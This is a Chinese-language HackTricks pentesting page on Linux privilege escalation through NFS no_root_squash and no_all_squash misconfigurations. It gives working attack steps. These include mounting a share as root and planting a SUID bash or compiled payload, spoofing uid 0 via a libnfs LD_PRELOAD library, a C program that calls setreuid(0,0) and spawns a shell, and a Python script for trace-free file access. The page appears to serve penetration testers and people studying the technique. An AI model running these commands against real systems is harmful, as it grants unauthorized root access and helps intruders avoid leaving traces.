hacktricks/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md

6.9 KiB
Raw Blame History

零基础学习AWS黑客攻击到高手 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

阅读 _ /etc/exports _ 文件,如果您发现某个目录被配置为 no_root_squash,那么您可以作为客户端访问该目录,并且本地root的身份写入该目录。

no_root_squash这个选项基本上授权客户端的root用户以root身份访问NFS服务器上的文件。这可能导致严重的安全问题。

no_all_squash:这与no_root_squash选项类似,但适用于非root用户。想象一下您以nobody用户的身份获得了一个shell检查了/etc/exports文件存在no_all_squash选项检查/etc/passwd文件模拟一个非root用户创建一个该用户的suid文件通过使用nfs挂载。以nobody用户身份执行suid并变成不同的用户。

权限提升

远程利用

如果您发现了这个漏洞,您可以利用它:

  • 在客户端机器上挂载该目录,并且以root身份复制到挂载文件夹中的**/bin/bash二进制文件,并给予它SUID权限,然后从受害者**机器上执行该bash二进制文件。
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
  • 在客户机上挂载该目录,并以 root 身份复制我们编译好的负载到挂载文件夹内,该负载将滥用 SUID 权限,给予它SUID权限,并在受害者机器上执行该二进制文件(你可以在这里找到一些C SUID 负载)。
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

本地利用

{% hint style="info" %} 请注意,如果您能够从您的机器创建一个隧道到受害机器,您仍然可以使用远程版本来利用这个权限提升,通过隧道传输所需的端口
以下技巧适用于文件 /etc/exports 指定了一个IP地址的情况。在这种情况下,您将无法使用任何情况下的远程利用,您将需要利用这个技巧
利用成功的另一个必要条件是**/etc/export 中的导出**必须使用 insecure 标志。
--我不确定如果 /etc/export 指出了一个IP地址这个技巧是否会起作用-- {% endhint %}

基本信息

这个场景涉及到在本地机器上利用一个挂载的NFS共享利用NFSv3规范中的一个漏洞该漏洞允许客户端指定其uid/gid可能使未授权访问成为可能。利用包括使用 libnfs这是一个允许伪造NFS RPC调用的库。

编译库

编译库的步骤可能需要根据内核版本进行调整。在这个特定的案例中fallocate系统调用被注释掉了。编译过程包括以下命令

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

执行漏洞利用

此漏洞利用涉及创建一个简单的C程序pwn.c该程序提升权限至root然后执行一个shell。程序被编译生成的二进制文件a.out)被放置在共享位置,并使用ld_nfs.so来在RPC调用中伪造uid

  1. 编译漏洞利用代码:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
  1. 将漏洞利用程序放置在共享位置并通过伪造uid修改其权限
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
  1. 执行漏洞利用程序以获得root权限
/mnt/share/a.out
#root

额外信息NFShell 用于隐秘文件访问

一旦获得root权限为了与NFS共享交互而不改变所有权以避免留下痕迹使用Python脚本nfsh.py。该脚本调整uid以匹配正在访问的文件的uid允许在没有权限问题的情况下与共享上的文件进行交互

#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

运行方式:

# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old

参考资料

通过 htARTE (HackTricks AWS 红队专家)从零开始学习AWS黑客攻击

支持HackTricks的其他方式